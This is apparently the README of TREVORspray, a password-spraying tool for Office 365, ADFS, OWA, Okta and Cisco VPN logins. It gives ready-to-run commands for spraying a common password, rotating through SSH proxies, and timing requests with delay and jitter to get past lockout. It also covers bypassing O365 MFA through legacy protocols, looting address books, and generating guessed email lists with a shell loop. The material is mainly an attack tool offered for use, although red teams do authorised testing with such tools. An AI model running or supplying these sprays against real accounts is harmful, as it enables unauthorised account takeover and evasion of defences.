TREVORspray 2.0

TREVORspray is a modular password sprayer with threading, SSH proxying, loot modules, and more!

By @thetechr0mancer

Installation:

pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray

See the accompanying Blog Post for a fun rant and some cool demos!

Features

• Threads, lots of threads
• Multiple modules
  • msol (Office 365)
  • adfs (Active Directory Federation Services)
  • owa (Outlook Web App)
  • okta (Okta SSO)
  • anyconnect (Cisco VPN)
  • custom modules (easy to make!)
• Tells you the status of each account: if it exists, is locked, has MFA enabled, etc.
• Automatic cancel/resume (remembers already-tried user/pass combos in ~/.trevorspray/tried_logins.txt)
• Round-robin proxy through multiple IPs with --ssh or --subnet
• Automatic infinite reconnect/retry if a proxy goes down (or if you lose internet)
• Spoofs User-Agent and other signatures to look like legitimate auth traffic
• Comprehensive logging
• Optional --delay, --jitter, and --lockout-delay between requests to bypass lockout countermeasures
• IPv6 support
• O365 MFA bypass support (disable with --no-loot)
  • IMAP
  • SMTP
  • POP
  • EWS (Exchange Web Services) - Automatically retrieves GAL (Global Address Book)
  • EAS (Exchange ActiveSync)
    • Recommended bypass: BlueMail Android app
  • EXO (Exchange Online PowerShell)
  • UM (Exchange Unified Messaging)
  • AutoDiscover - Automatically retrieves OAB (Offline Address Book)
  • Azure Portal Access
• Domain --recon with the following features:
  • list MX/TXT records
  • list O365 info
    • tenant ID
    • tenant name
    • other tentant domains
    • sharepoint URL
    • authentication urls, autodiscover, federation config, etc.
  • User enumeration (use --recon and --users):
    • OneDrive
    • Azure Seamless SSO

How To - O365

• First, get a list of emails for corp.com and perform a spray to see if the default configuration works. Usually it does.
• If TREVORspray says the emails in your list don't exist, don't give up. Get the token_endpoint with --recon corp.com. The token_endpoint is the URL you'll be spraying against (with the --url option).
• It may take some experimentation before you find the right combination of token_endpoint + email format.
  • For example, if you're attacking corp.com, it may not be as easy as spraying corp.com. You may find that Corp's parent company Evilcorp owns their Azure tenant, meaning that you need to spray against evilcorp.com's token_endpoint. Also, you may find that corp.com's internal domain corp.local is used instead of corp.com.
  • So in the end, instead of spraying [email protected] against corp.com's token_endpoint, you're spraying [email protected] against evilcorp.com's.

Example: Perform recon against a domain (retrieves tenant info, autodiscover, mx records, etc.)

trevorspray --recon evilcorp.com
...
    "token_endpoint": "https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token"
...

Example: Enumerate users via OneDrive (no failed logins)

trevorspray --recon evilcorp.com -u emails.txt --threads 10

Example: Spray against discovered "token_endpoint" URL

trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token

Example: Spray with 5-second delay between requests

trevorspray -u [email protected] -p 'Welcome123' --delay 5

Example: Spray and round-robin between 3 IPs (the current IP is also used, unless -n is specified)

trevorspray -u emails.txt -p 'Welcome123' --ssh [email protected] [email protected]

Example: Find valid usernames without OSINT >:D

# clone wordsmith dataset
wget https://github.com/skahwah/wordsmith/releases/download/v2.1.1/data.tar.xz && tar -xvf data.tar.xz && cd data

# order first initial by occurrence
ordered_letters=asjmkdtclrebnghzpyivfowqux

# loop through first initials
echo -n $ordered_letters | while read -n1 f; do
  # loop through top 2000 USA last names
  head -n 2000 'usa/lnames.txt' | while read last; do
    # generate emails in f.last format
    echo "${f}.${last}@evilcorp.com"
  done
done | tee f.last.txt

trevorspray -u f.last.txt -p 'Welcome123'

Extract data from downloaded LZX files

When TREVORspray successfully bypasses MFA and retrieves an Offline Address Book (OAB), the address book is downloaded in LZX format to ~/.trevorspray/loot. LZX is an ancient and obnoxious compression algorithm used by Microsoft.

# get libmspack (for extracting LZX file)
git clone https://github.com/kyz/libmspack
cd libmspack/libmspack/
./rebuild.sh
./configure
make

# extract LZX file
./examples/.libs/oabextract ~/.trevorspray/loot/deadbeef-ce01-4ec9-9d08-1050bdc41131-data-1.lzx oab.bin
# extract all strings
strings oab.bin
# extract and dedupe emails
egrep -oa '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}' oab.bin | tr '[:upper:]' '[:lower:]' | sort -u

TREVORspray - Help:

$ trevorspray --help
usage: trevorspray [-h] [-m {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}] [-up USERPASS [USERPASS ...]] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL]
                   [-r DOMAIN] [--export-tenants FILE] [-t THREADS] [-f] [-d DELAY] [-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent]
                   [-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]] [-i KEY] [-b BASE_PORT] [-n] [--subnet SUBNET] [--interface INTERFACE]

A password sprayer with the option to load-balance traffic through SSH hosts

options:
  -h, --help            show this help message and exit

basic arguments:
  -m, --module {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}
                        Spray module to use (default: msol)
  -up, --userpass USERPASS [USERPASS ...]
                        file(s) containing username and password pairs (format: 'username:password')
  -u, --users USERS [USERS ...]
                        Usernames(s) and/or file(s) containing usernames
  -p, --passwords PASSWORDS [PASSWORDS ...]
                        Password(s) and/or file(s) containing passwords
  --url URL             The URL to spray against
  -r, --recon, --enumerate DOMAIN
                        Retrieves MX records and info related to authentication, email, Azure, Microsoft 365, etc. If --usernames are specified, this also enables username enumeration.
  --export-tenants FILE
                        Export all discovered tenant domains to a file

advanced arguments:
  Round-robin traffic through remote systems via SSH (overrides --threads)